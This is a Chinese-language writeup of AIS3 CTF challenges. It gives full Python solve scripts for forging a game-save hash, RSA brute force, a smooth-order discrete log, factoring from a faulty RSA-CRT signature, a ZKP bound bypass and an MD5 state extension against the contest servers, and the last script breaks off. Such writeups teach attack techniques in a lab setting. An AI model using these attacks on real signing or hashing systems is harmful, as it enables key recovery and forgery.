AIS3 Pre-exam Writeup

# AIS3 Pre-exam and MyFirstCTF Writeup ## Ranking - Myfirst第2名 - Pre-exam第13名這應該算是我比較正式的CTF處女賽，整個比我預期的好太多了 ## Welcome 有人說welcome也要寫Writeup，所以就寫了，就看到flag傳上去。 AIS3{Welc0me_to_AIS3_PreExam_2o24!} ## Misc ### Quantum Nim Heist 這題聽出題者講不用看code，而且那麼多人解，我想應該不太像是用我這種做法。這個題目是給我一個後手必勝的Nim Game，贏了就給我flag。玩的時候會發現它可以儲存遊戲，會給我遊戲資訊和遊戲資訊的hash。以下是hash內容: ```python! import secrets def splitmix64(x: int) -> int: U64_MASK = 0xFFFFFFFFFFFFFFFF x = (x + 0x9E3779B97F4A7C15) & U64_MASK x = ((x ^ (x >> 30)) * 0xBF58476D1CE4E5B9) & U64_MASK x = ((x ^ (x >> 27)) * 0x94D049BB133111EB) & U64_MASK return x ^ (x >> 31) class Hash: def __init__(self): self.secret = secrets.randbits(64) def pad(self, message: bytes) -> bytes: c = -len(message) % 8 return message + b'\x00' * c def digest(self, message: bytes) -> bytes: message = self.pad(message) blocks = [int.from_bytes(message[i:i+8], 'big') for i in range(0, len(message), 8)] def f(a: int, b: int) -> int: for i in range(16): a, b = b, a ^ splitmix64(b) return b state = self.secret for block in blocks: state = f(state, block) return state.to_bytes(8, 'big') def hexdigest(self, message: bytes) -> str: return self.digest(message).hex() ``` 會發現可以lea，因為他雖然secret隨機，但我可以用得到的state送進f做計算。他一個block的大小是8 bytes，所以要把遊戲資訊玩到8個bytes比較好處理，我選擇了11,16,27，然後再後面填一個1變成先手必勝，以下是exploit: ```python! import myhash from Crypto.Util.number import * hash = myhash.Hash() def pad(message: bytes) -> bytes: c = -len(message) % 8 return message + b'\x00' * c def splitmix64(x: int) -> int: U64_MASK = 0xFFFFFFFFFFFFFFFF x = (x + 0x9E3779B97F4A7C15) & U64_MASK x = ((x ^ (x >> 30)) * 0xBF58476D1CE4E5B9) & U64_MASK x = ((x ^ (x >> 27)) * 0x94D049BB133111EB) & U64_MASK return x ^ (x >> 31) def f(a: int, b: int) -> int: for i in range(16): a, b = b, a ^ splitmix64(b) return b payload = b"11,16,27,1" payload = pad(payload) c1 = bytes_to_long(payload[:8]) c2 = bytes_to_long(payload[8:]) #11,16,27:464e639efe040db4 state = bytes_to_long(bytes.fromhex("464e639efe040db4")) print("11,16,27,1:" + long_to_bytes(f(state, c2)).hex()) # 11,16,27,1:d2e759bf6840a6ca ``` 然後剩下就是把遊戲玩贏，一直製造xor為0的狀態就好，最後得到flag:`AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}` ## Crypto ### BabyRSA 這題就是把flag的每個字元進去rsa加密，然後給密文和公鑰。因為字元在0到0xff之間，所以直接暴力窮舉就好。 ```python e, n = (64917055846592305247490566318353366999709874684278480849508851204751189365198819392860386504785643859122396657301225094708026391204100352682992979425763157452255909781003406602228716107905797084217189131716198785709124050278116966890968003294485934472496151582084561439957513571043497031319413889856520421733, 115676743153063753482251273007095369919613374531038288437295760314264647231038870203981488393720761532040569270340726478402172283300622527884543078194060647393394510524980830171230330673500741683492143805583694395504141751460090539868114454005046898551218623342425465650881666420408703144859108346202894384649) encs = [59582983136368434856816799733313446746433796034384724221174424464969737874802116129348607979328098841766335449896610931770063087921739964156335144291643702667891887833963756948394265219864837961748202920096128332905237576243643095664147826020400199347355043162641743846198725931842313977049712473768688780204, 95359547394031742813518330673269556403528254059894407470006786975603938062435320319282644182444182438612748874603359501010449113346386193598111715879103479311697744375488228536365895249959983701008182395138745363343749821348881488616739650767615867269542213617639437927373484681942750228038458670913761461906, 46329325300279098651694178842591774415260876326218182283454895682597312145324055490326488805186682301528705330448500034219715636964856131530973835780285303243952273742119154142469279746360304190118988650200422700136950019141246372634642054318988506247030406078971388938494583721698317950574261574174233878465, 99372516099607712778908802720080113062724120782160998443385643772511391370661101893707293382044546993124605549696368316348952556779713164710839853078160450782104255053788389238478472574549113909833434906535103012424826026640284958298083646000213492094244631381094489147645893989473799375006911204994971262513, 76560888147807476608165550435978536197327212318831455594999273843368454289391559274947371380742007729563677938535717707232627424457601159959128489070947748904688640279908482263289424669338790488996485849079890881530740377280113682547250364463080771156212510360194563192123664613212111565777733487081937952558, 12319813533472769541026063795801870849236715810997656653501875874806446093919930377755747066386074676697058702735112064576219731845584108035461434499628574742399407498867908576045220515065246483998134315307132901329833371485817530138131352593805641664023978795298886913968639954517583992930243922021434381738, 96951009388162450018398074248238612521098089563081241061172635732154749686698900516806076917644927142046116130006730586770841058020946718314769404592479949673385387831784647829787593435525861689652400487918043078535385527278516028607916478700007746817161408140805937414915909575928550204945457887011906141614, 1665805297521640119669919457094144711238099413231800824465470812913880572669116305626521524153911904267238129531937952423409222225023467794927666422627082314285814656075569814644205638687105792760533211008966815918943917251927254624389871965679206262024216136163262412286874416732008465838711695063592124435, 38031617734525236754862788270684927634041250565347090806313746312968815507316236887544784308484734926981400017478758364119367924220519253824976349577671434162884831759762106665665138444165001645856871491952279748415831766579735400499998753646766301606966507940299051979075677572064596983713461662607114250263, 64855027109789931203406858899259092299626327163376469398846102754805420506427252072315662287801006608894162707199492268892939811482863649987034183371607590158980649349849687594118554925649076468007225363531072941142253057862686631842080812159597499430107963982315266135241847383726503265496996481889717246182, 38285633551521777138710771085033430239170710707266775875598456653892976969437761922968925746226073683095654278272586779539831402373205526909772633370025848937463033570747721110932401276480992827694564074802181306738438015295515798739406061377284368603543443076476369810597345436481251791260803352288977423573, 90968383857681404242927909477464252602387471219945950453665598772039832078487309149670692874283215437984574695320981806360379096212936326954111131608499584545969103096096842380877613033764006459107764277330135816044808210474597200172673683909558627722941503504083244424751773797618360290613996970960151563724, 95457298055868694391877219138576497445115151186056513418820503159496876268497080831408725541436969299827723238663173668798694515208450035233192338795425824459299174728295661096981248839235055855929604893139239340445385259232905864515397406993189217322907168121716905101208450279521267289056195400878302077398, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 34661612116812273325510815885632987773878634626625747042958636362152583931260969561869719786378247664638641161656878412129162010084766438156247296031040184022246208883138926132649114007757242227131459285251878118564710945280013332131793855359773876332415772442620349609897435915019325055421286197078708187352, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 67602482196856820166971428403758405739455475263382367621161896414339370625380754447863410276767241406699969322350803814348655243066328706656427717483623041308690996376549835317954286006923639192767262817817435759143930376297271756237829141630002480289781731985465743331200468015517012225741723423203374827341, 44262354102194743351911268289256770008339497245528544280709170541530088518398751380655719846628700171065092804544687718896291531970838072744874705570156704628202662829757806782131182294252555844059856971743311355891113953747318316062265029166813195656690004051327523203179399349334322871113218009692321746302, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 17525442355443739006798161136945234538289135293732159010469949341666347513585837371870704355037863634098163883611042121878362686860890223724238562583526550649340086051319234134907577624853632886715848962127706255769976443912657070070366400669740596805962173530384420842637554803041466900119050709458062167550, 44014841046589017601891983719958867760419600204352901036629548332837496204051161377933425345536644034794916246706885620488552830053604204333015893225255398323167834260921720336325397193593333461140140475610284003097590899522403244883330800589948361851693870192559674072749868797979125684663605722325053340834, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 32463563387229396502994321924065961632284043136468238906625180045736135155253223928723914405824284085442712712337348213915399745045346853697650399659292339726614512642835897683094877670342609027803404027945312939777902664125228095034970967750466928999176126534504349068649205422848461193336320361026425455874, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 12179738687529782107447590339149361896936551322934825418520525165858885435598866363152322677187041910693780230742925050834968940508546403788452893248148672885195158450001568668626998159030042932978014971079411358732702590558133373478956077176801426446288446920254354063720982962966912703174841575095158773376, 101125682339799901828662987568918086070282069568379908090074247169217184659644669626554838396604623590909101664987452894437649857681299514293609000818253780343589956828098266778252516930801354335366245918603834198786544373944956666900784678369416240212915856834107510529441463083826031881209805666209335413628, 101403644290884991310189664359755656780537902543354415482434580937410695343294757120985680350019917171639284125327989098680673553323894980248499865788837636944758311200094760909373728675822272584823764964753326309765279310435693879623302965536053211433064599526550676915084290753201910772032395483945950367273, 24333051506853181360030701569319128673885779416125109480872653360245763695810807795571148802002658160356587851857338891650119080260776136984074861612952869696123011417276568821410663401888348228549042676235853145756762295087473309782699704381451505573652641489540319626561348999020895690560418530256831740666, 20222920908058605457111970272150612273139460769260447235596498596781683961010128426184024637706564546340327246191020540223566835757304493325371606037680402571948650998523099138137441154209281794538860160477031997660506452095283151142470607354579609545040759974018408429796935802188551530478970289514572978617, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 32184464000490155748453165982143565340499464338829080683417468389784993809512708479494827939476307049612151190695993375700147700844413744001417893095868641387694266647992101758785355055413538046252854525860440227182911367045556141460084455472907278113962890024281663648508886642376786194323597791020547317088, 101125682339799901828662987568918086070282069568379908090074247169217184659644669626554838396604623590909101664987452894437649857681299514293609000818253780343589956828098266778252516930801354335366245918603834198786544373944956666900784678369416240212915856834107510529441463083826031881209805666209335413628, 44014841046589017601891983719958867760419600204352901036629548332837496204051161377933425345536644034794916246706885620488552830053604204333015893225255398323167834260921720336325397193593333461140140475610284003097590899522403244883330800589948361851693870192559674072749868797979125684663605722325053340834, 12179738687529782107447590339149361896936551322934825418520525165858885435598866363152322677187041910693780230742925050834968940508546403788452893248148672885195158450001568668626998159030042932978014971079411358732702590558133373478956077176801426446288446920254354063720982962966912703174841575095158773376, 63634815088527144255090148113948593793648445499224983027630191877159813968754095341812467946868079279626991968747689424489021633678743106301884613005477044402324870044751927862596590687251830485165119422247449722579599610918927243419033509419967393677988976255284611384351411782311379786356079256916831362626, 9304987377904341606117201715658113065608581640101320211543462955469900806281721467187032121463132314663326494170970278379001634044806680348131292368949519512445580695938064509920503814133961673755470696223243390646274004621955993274826096679460577701554059204349111764901921932386091658007427259226167178177, 58828925452729811932976588739787965824652220690551333824296205824127538696058603108169405357158211350616510470513672533759883740745736322687898383422522330915631984810878357007178714597068087752425823728826608887027664209314455243118645386520598961325656254330576959063500755210398248129074822706590225088700, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 32184464000490155748453165982143565340499464338829080683417468389784993809512708479494827939476307049612151190695993375700147700844413744001417893095868641387694266647992101758785355055413538046252854525860440227182911367045556141460084455472907278113962890024281663648508886642376786194323597791020547317088, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 12179738687529782107447590339149361896936551322934825418520525165858885435598866363152322677187041910693780230742925050834968940508546403788452893248148672885195158450001568668626998159030042932978014971079411358732702590558133373478956077176801426446288446920254354063720982962966912703174841575095158773376, 38031617734525236754862788270684927634041250565347090806313746312968815507316236887544784308484734926981400017478758364119367924220519253824976349577671434162884831759762106665665138444165001645856871491952279748415831766579735400499998753646766301606966507940299051979075677572064596983713461662607114250263, 42674155454878392842592499423860033988264245394501952163129442865919203299671995689679354090226093903765768139477289952989042795959374257614752953563152551974557414325407858919156902405925850703390450181868760242922958259454422450849566085988801215229822701373233313619020572460459663094142218119144686335871, 101125682339799901828662987568918086070282069568379908090074247169217184659644669626554838396604623590909101664987452894437649857681299514293609000818253780343589956828098266778252516930801354335366245918603834198786544373944956666900784678369416240212915856834107510529441463083826031881209805666209335413628, 75918055185950026238164530295762591705002247585433355113315303142207464051952569831664550604622541858093495062851840811257603174544255151597115446984458237694842739071530518936317606199598953518976167711716762043806043449827887577909963803673508838826582484003687958862302989732473748700329398645880243054148, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 42674155454878392842592499423860033988264245394501952163129442865919203299671995689679354090226093903765768139477289952989042795959374257614752953563152551974557414325407858919156902405925850703390450181868760242922958259454422450849566085988801215229822701373233313619020572460459663094142218119144686335871, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 47953002091054578020381201294163023730809574731463958773592358719441988187452655748118051277286650853337305718192021972814357369747332979634917684999259838316305009239963225119133204824897098152777119627043881500966537112886938182847527574241215915396651397126350467492479189194162628876529519538265140143596, 101403644290884991310189664359755656780537902543354415482434580937410695343294757120985680350019917171639284125327989098680673553323894980248499865788837636944758311200094760909373728675822272584823764964753326309765279310435693879623302965536053211433064599526550676915084290753201910772032395483945950367273, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 107340541989905757204370662416845552037146078905222935505789033122562501577684655501092154588544305605078885306044047839464564901594898750722560559313996616820973286189602827331851868376927628179028545097753144658073207307785378721899783095713473789007231709234504050418717400729711972350669632384570468096830, 43967923748936484351732805873555964174712775706889811180819474140612599586161884530658035908721232399384729457223641995556425707839305124083600738135036620220298476686325110132022730675370888898063942501477522619906479683016701151321856269078215479158146009655223314957908787521092587379267241203076718674092, 24333051506853181360030701569319128673885779416125109480872653360245763695810807795571148802002658160356587851857338891650119080260776136984074861612952869696123011417276568821410663401888348228549042676235853145756762295087473309782699704381451505573652641489540319626561348999020895690560418530256831740666, 20472445493228441292721090614657967895462252302228260568752427996680563809601852655319833688134475798137834395223726607334321531235376774219216055134601030184130917876549113091114144486261794932716233808194664233936783735663266743029212488020840969559603523111887524998658108503660068448898570323437482810017, 72893301186321303683272295658327353212060838237559048917336264819112421968115615005989580760612444279776561566669272155758039717810976344470895667733780292960024364644216982543515945404550612735708418065359731237914621596888496631385879381090937225999965270114589266587955012094766794851372212812150698234716, 64855027109789931203406858899259092299626327163376469398846102754805420506427252072315662287801006608894162707199492268892939811482863649987034183371607590158980649349849687594118554925649076468007225363531072941142253057862686631842080812159597499430107963982315266135241847383726503265496996481889717246182, 52468135911274945777529136529541932989316502665934748207836694395110108517204287366878248216053327656034128346107236076714109214143042824050810182510919475258788845504651287598248217763885663385525333584236650693667648746329707103824387098563158188013686337454772275459145419197015884603853408230553227896407, 75918055185950026238164530295762591705002247585433355113315303142207464051952569831664550604622541858093495062851840811257603174544255151597115446984458237694842739071530518936317606199598953518976167711716762043806043449827887577909963803673508838826582484003687958862302989732473748700329398645880243054148, 12708160939460449797746334640370189741594393156198590130563300705594742285274155378452384449752817944962371880018673966875751948953034846634284138305820292201281595210265881917297911731564408181887226462606892964361033320116765426523499831287478314065882300932476595216136350756971622192468975464823677154324, 52745488365658861485519010696623986434656675831322149607647058389953842185045922621964255927212518970223978973817292179059730382537814695353016058702226289640834171560498112170760826276332972100423555174686162215383841925656596984188536350046664199627214379076416024495451320834231863438007383528385204646269, 8855798603366167912634233401398286651752671525801140525178611090639905433230380535711326462952071294452556819384200831430822862220907470038589552641363759764881881084119960616686113091264272665290715332905431138686504873774368450566561688814993821800992967990682116846800657243011069696481920893909247794983, 96951009388162450018398074248238612521098089563081241061172635732154749686698900516806076917644927142046116130006730586770841058020946718314769404592479949673385387831784647829787593435525861689652400487918043078535385527278516028607916478700007746817161408140805937414915909575928550204945457887011906141614, 3085377115073481737487767519304315808353144937670566256348398664810936964565637157736537945459712875615504238408907602974507381828272609303797146395233485026377776965939508974096385939172942695211339651597248692728550782246178293579153110379844451779466255357619524290412118137515779354431956948078394927940, 48345447683174081443502925378502329908064423944850311779861406407783604557812792515281621715817536127803162311234459315836524837064977025182379655213338205159741266326939713833052921255157742860610743189155260503439836583887313584730345974553768985184119012533854386867355018502198395672167297716386558437643, 2943509185067047938273565758747957807917637430462018374124947856251091022696853505230975399503014099411245162812979057344198094444949853114144790397928000334361276864689352349519363636219566973775714458213611238774130167222835759501223813455853370320854862131109567941072112035263351158877256955712543549605, 76560888147807476608165550435978536197327212318831455594999273843368454289391559274947371380742007729563677938535717707232627424457601159959128489070947748904688640279908482263289424669338790488996485849079890881530740377280113682547250364463080771156212510360194563192123664613212111565777733487081937952558] flag = b"" for enc in encs: for i in range(0xff): if pow(i, e, n) == enc % n: flag += bytes([i]) break print(flag) #AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf} ``` ### zkp 這題是離散對數問題，他給了一個完全沒用的驗證函式不用理他，發現p-1(也就是他的階)是光滑的，所以離散對數問題可以分解成小質數的離散對數問題，再用crt把他映射回來，然而sage有提供很簡單的工具可以用不用手刻。 ```python from sage.all import * from Crypto.Util.number import * p = 912963562570713895762123712634341582363191342435924527885311975797578046400116904692505817547350929619596093083745446525856149291591598712142696114753807416455553636357128701771057485027781550780145668058332461392878693207262984011086549089459904749465167095482671894984474035487400352761994560452501497000487 g = 5 y = 826538666839613533825164219540577914201103248283631882579415248247469603672292332561005185045449294103457059566058782307774879654805356212117148864755019033392691510181464751398765490686084806155442759849410837406192708511190585484331707794669398717997173649869228717077858848442336016926370038781486833717341 F = GF(p) flag = discrete_log(F(y), F(g)) print(long_to_bytes(flag)) #AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ} ``` ### easyRSA ```python! def verify(pk, message: bytes, signature: bytes): e, n = pk data = bytes_to_long(sha256(message).digest()) return data == pow(bytes_to_long(signature), e, n) bug = lambda : random.randrange(0, 256) def sign(sk, message: bytes): dP, dQ, qInvP, p, q = sk data = bytes_to_long(sha256(message).digest()) # use CRT optimize to sign the signature, # but there are bugs in my code QAQ a = bug() mP = pow(data, dP, p) ^ a b = bug() mQ = pow(data, dQ, q) ^ b k = (qInvP * (mP - mQ)) % p signature = mQ + k * q return long_to_bytes(signature) ``` 這題可以給他任意密文，然後他會解密傳回來(也就是用私鑰簽名)，但是他在用CRT的時候xor了一個數字，那這個時候如果兩個mQ相等，signature相減就會是q的倍數，而我們可以知道兩個mQ之間最多只會差一個byte，所以直接暴力窮舉看看他和n的最大公因數就好。以下是exploit: ```python! from pwn import * from base64 import * from Crypto.Util.number import * from hashlib import sha256 r = remote("chals1.ais3.org", 7001) def sig(message: bytes): r.sendlineafter(b": ", b"2") r.sendlineafter(b": ", b64encode(message)) r.recvuntil(b": ") return b64decode(r.recvline().decode().strip("b\n'")) r.sendlineafter(b": ", b"1") r.recvuntil(b"= ") e, n = tuple(map(int, r.recvline().decode().strip("()\n").split(", "))) message = b64encode(b"Give me the flag!") plain = b"evil_text" sig1 = bytes_to_long(sig(plain)) sig2 = bytes_to_long(sig(plain)) deltas = sig1 - sig2 q = 1 for i in range(-256, 256): if GCD(deltas + i, n) != 1: q = GCD(deltas + i, n) p = n // q phi = (p - 1) * (q - 1) d = pow(e, -1, phi) ans = pow(bytes_to_long(sha256(message).digest()), d, n) ans = b64encode(long_to_bytes(ans)) r.sendlineafter(b": ", b"3") r.sendlineafter(b": ", ans) r.interactive() #AIS3{IJustWantItFasterQAQ} ``` ### zkp-revenge 這題和zkp不同的是他的質數是strong prime，所以離散對數問題是困難的。然後他給了以下這個zkp_protocol。 ```python! def zkp_protocol(p, g, sk): # y = pow(g, sk, p) r = random.randrange(1 << 1000) a = pow(g, r, p) print(f'a = {a}') print('Give me the challenge') try: c = int(input('c = ')) if (p - (1<<600)) >= c >= (1 << 600): w = (c * sk + r) % (p-1) print(f'w = {w}') # you can verify I know the flag with # g^w (mod p) = (g^flag)^c * g^r (mod p) = y^c * a (mod p) else: print("Sorry, but your 'c' is too small.") print("My 'x' is already too small, so I cannot let you choose such a small number!") raise ValueError() except: print('Invalid input.') ``` 然後他的flag長度是60，給我100次的嘗試機會。首先，他會限制c的長度，但是這種限制是沒有意義的，因為如果 $sk=2n+1$ ，那麼當 $c=(\frac{p-1}{2}+c')$ 時，$w=((\frac{p-1}{2}+c')\cdot(2n+1)+r)=(\frac{p-1}{2}+c'\cdot sk+r)(mod\ (p-1))$，$(w-\frac{p-1}{2})(mod\ (p-1))=c'\cdot sk+r$，也就是說現在我們可以做到取任何的c了(至於為什麼知道flag是奇數就試了就知道，如果是偶數也是差不多的作法)。那麼 $c\cdot sk+r$ 在mod p-1之前和之後如果要是相同的值的話，那麼要把 $c\cdot sk$ 限定在1<<1024以內，而 $r$ 又有1000bit，所以每次我們只能知道 $c\cdot sk$ 最高的24bits(也就是把flag乘上1<<544，而且有進位問題，保守估計16個bits)。但是我們發現，只要我們把還沒有求出來的位數題到1024位，然後把已知的更高位移項，就能知道低位了，實際式子如下: $(w-k\cdot 2^{480-8R}y)(mod\ (p-1))=k\cdot x+r,\ k=2^{544+8R}$，$R$是知道的bytes數量，$x$是我們還不知道的密文部分，以下是實作: ```python! from pwn import * from Crypto.Util.number import * r = remote("chals1.ais3.org", 7004) r.sendlineafter(b": ", b"1") r.recvuntil(b"= ") p = int(r.recvline().decode().strip()) r.recvuntil(b"= ") g = int(r.recvline().decode().strip()) r.recvuntil(b"= ") y = int(r.recvline().decode().strip()) def high(k: int): c = ((p - 1) // 2 + k) % (p - 1) r.sendlineafter(b": ", b"2") r.sendlineafter(b"c = ", str(c).encode()) r.recvuntil(b"= ") w = int(r.recvline().decode().strip()) return (w - (p - 1) // 2) % (p - 1) flag = b"" # flag += long_to_bytes(high(1<<544))[:2] for i in range(30): k = 1 << (544 + 8 * len(flag)) flag += long_to_bytes((high(k) - k * (1 << (480 - 8 * len(flag))) * bytes_to_long(flag)) % p)[:2] print(flag) #AIS3{Wow!YouAreAMathMaster.} ``` 最後講一個我覺得理論可行但我做不出來的做法，本來是想可不可以用MT19937，畢竟有randrange()，而且如果 $c=\frac{p-1}{2}$的話而且flag是奇數，那$r=(w-\frac{p-1}{2})(mod\ (p-1))$，也就是說我可以一直知道randrange(1<<1000)的值。但是麻煩的是randbelow(1<<1000)會去getrandbits(1001)，然後求出來如果大於等於1<<1000的話就重做一次，這樣會讓他變成不是單純的線性方程。我後來有查到BalsnCTF2019有一題unpredictable，也是類似的東西，然後他好像是先去看看怎麼接才合理，dfs剪枝之後再去解方程式，不過他太長了我還沒看懂。 ### md5_encryption ```python! #!/bin/python3 def block_cipher(key, last_block, pt): key.update(last_block) ct = bytes_xor( key.digest(), pt ) return ct def encrypt(sk, message): message = pad(message) key = md5() last_block, cipher_text = sk, b"" for i in range(0, len(message), 16): pt = message[i:i+16] cipher_text += block_cipher(key, last_block, pt) last_block = pt return cipher_text data = input("Give me your data (in base64 encoded):") data = base64.b64decode(data.encode()) test = time.time() data = f"TimeStamp: {test} || User:CTF_Player || data: ".encode() + data + f" || Flag: {flag}".encode() print(base64.b64encode(encrypt(sk, data))) ``` 我稍微把程式碼做了簡化，他就是用md5做xor加密，每一次就是把前一個block塞進md5()裡面，然後和這一個block做xor，最前面有一個未知的block。我可以送data進去，他會把他加入字串後加密給我。md5.update()的作用是把字串接在之前的字串上面在進行hash，然後他會去進行padding，如果%64>=56就要padding到新的一個64bytes(因為有9個bytes要存結尾和長度的資訊)，這樣的話麻煩的點就是他一定會做padding，所以沒辦法直接拿到state。所以我的方法是去偽造一個padding，讓他padding完的hash等同於他一直hash到我偽造的padding結束那格。數字上來講的話就是我前64格不理他，後面填一條如果前面是80格的padding(因為初始的有16格)，這樣的話到了[112-16:112]那格的hash(沒有做padding就只是單純地拿到state)就會等於[48:64]那格前墜經過padding的hash，也就是他給我的，剩下就是xor和md5的一些實作，md5的code是我去github上隨便找的，以下是exploit: ```python! #https://github.com/Utkarsh87/md5-hashing/tree/master import math # This list maintains the amount by which to rotate the buffers during processing stage rotate_by = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21] # This list maintains the additive constant to be added in each processing step. constants = [int(abs(math.sin(i+1)) * 4294967296) & 0xFFFFFFFF for i in range(64)] # STEP 1: append padding bits s.t. the length is congruent to 448 modulo 512 # which is equivalent to saying 56 modulo 64. # padding before adding the length of the original message is conventionally done as: # pad a one followed by zeros to become congruent to 448 modulo 512(or 56 modulo 64). def pad(msg, length): msg_len_in_bits = (8*len(msg)) & 0xffffffffffffffff msg.append(0x80) while len(msg)%64 != 56: msg.append(0) # STEP 2: append a 64-bit version of the length of the length of the original message # in the unlikely event that the length of the message is greater than 2^64, # only the lower order 64 bits of the length are used. # sys.byteorder -> 'little' if length != 0: msg_len_in_bits = length * 8 msg += msg_len_in_bits.to_bytes(8, byteorder='little') # little endian convention # to_bytes(8...) will return the lower order 64 bits(8 bytes) of the length. return msg # STEP 3: initialise message digest buffer. # MD buffer is 4 words A, B, C and D each of 32-bits. init_MDBuffer = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476] # UTILITY/HELPER FUNCTION: def leftRotate(x, amount): x &= 0xFFFFFFFF return (x << amount | x >> (32-amount)) & 0xFFFFFFFF # STEP 4: process the message in 16-word blocks # Message block stored in buffers is processed in the follg general manner: # A = B + rotate left by some amount<-(A + func(B, C, D) + additive constant + 1 of the 16 32-bit(4 byte) blocks converted to int form) def processMessage(msg): init_temp = init_MDBuffer[:] # create copy of the buffer init constants to preserve them for when message has multiple 512-bit blocks # message length is a multiple of 512bits, but the processing is to be done separately for every 512-bit block. for offset in range(0, len(msg), 64): A, B, C, D = init_temp # have to initialise MD Buffer for every block block = msg[offset : offset+64] # create block to be processed # msg is processed as chunks of 16-words, hence, 16 such 32-bit chunks for i in range(64): # 1 pass through the loop processes some 32 bits out of the 512-bit block. if i < 16: # Round 1 func = lambda b, c, d: (b & c) | (~b & d) # if b is true then ans is c, else d. index_func = lambda i: i elif i >= 16 and i < 32: # Round 2 func = lambda b, c, d: (d & b) | (~d & c) # if d is true then ans is b, else c. index_func = lambda i: (5*i + 1)%16 elif i >= 32 and i < 48: # Round 3 func = lambda b, c, d: b ^ c ^ d # Parity of b, c, d index_func = lambda i: (3*i + 5)%16 elif i >= 48 and i < 64: # Round 4 func = lambda b, c, d: c ^ (b | ~d) index_func = lambda i: (7*i)%16 F = func(B, C, D) # operate on MD Buffers B, C, D G = index_func(i) # select one of the 32-bit words from the 512-bit block of the original message to operate on. to_rotate = A + F + constants[i] + int.from_bytes(block[4*G : 4*G + 4], byteorder='little') newB = (B + leftRotate(to_rotate, rotate_by[i])) & 0xFFFFFFFF A, B, C, D = D, newB, B, C # rotate the contents of the 4 MD buffers by one every pass through the loop # Add the final output of the above stage to initial buffer states for i, val in enumerate([A, B, C, D]): init_temp[i] += val init_temp[i] &= 0xFFFFFFFF # The init_temp list now holds the MD(in the form of the 4 buffers A, B, C, D) of the 512-bit block of the message fed. # The same process is to be performed for every 512-bit block to get the final MD(message digest). # Construct the final message from the final states of the MD Buffers return sum(buffer_content<<(32*i) for i, buffer_content in enumerate(init_temp)) def MD_to_hex(digest): # takes MD from the processing stage, change its endian-ness and return it as 128-bit hex hash raw = digest.to_bytes(16, byteorder='little') return '{:032x}'.format(int.from_bytes(raw, byteorder='big')) def md5(msg, length = 0): msg = bytearray(msg) # msg = bytearray(msg, 'ascii') # create a copy of the original message in form of a sequence of integers [0, 256) msg = pad(msg, length) processed_msg = processMessage(msg) # processed_msg contains the integer value of the hash message_hash = MD_to_hex(processed_msg) return bytes.fromhex(message_hash) def produce(x: bytes): tmp = int.from_bytes(x, "little") ret = [] for i in range(4): ret.append(tmp & 0xFFFFFFFF) tmp >>= 32 return ret def xor(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) from pwn import remote import hashlib import time from base64 import * test = time.time() payload = b"aaaaaa" + b'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02\x00\x00\x00\x00\x00\x00aaaaaaaaaaaaaaaa' message = b"TimeStamp: 1716766633.2975683 || User:CTF_Player || data: aaaaaa" + b'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02\x00\x00\x00\x00\x00\x00aaaaaaaaaaaaaaaa' r = remote("chals1.ais3.org", 7003) 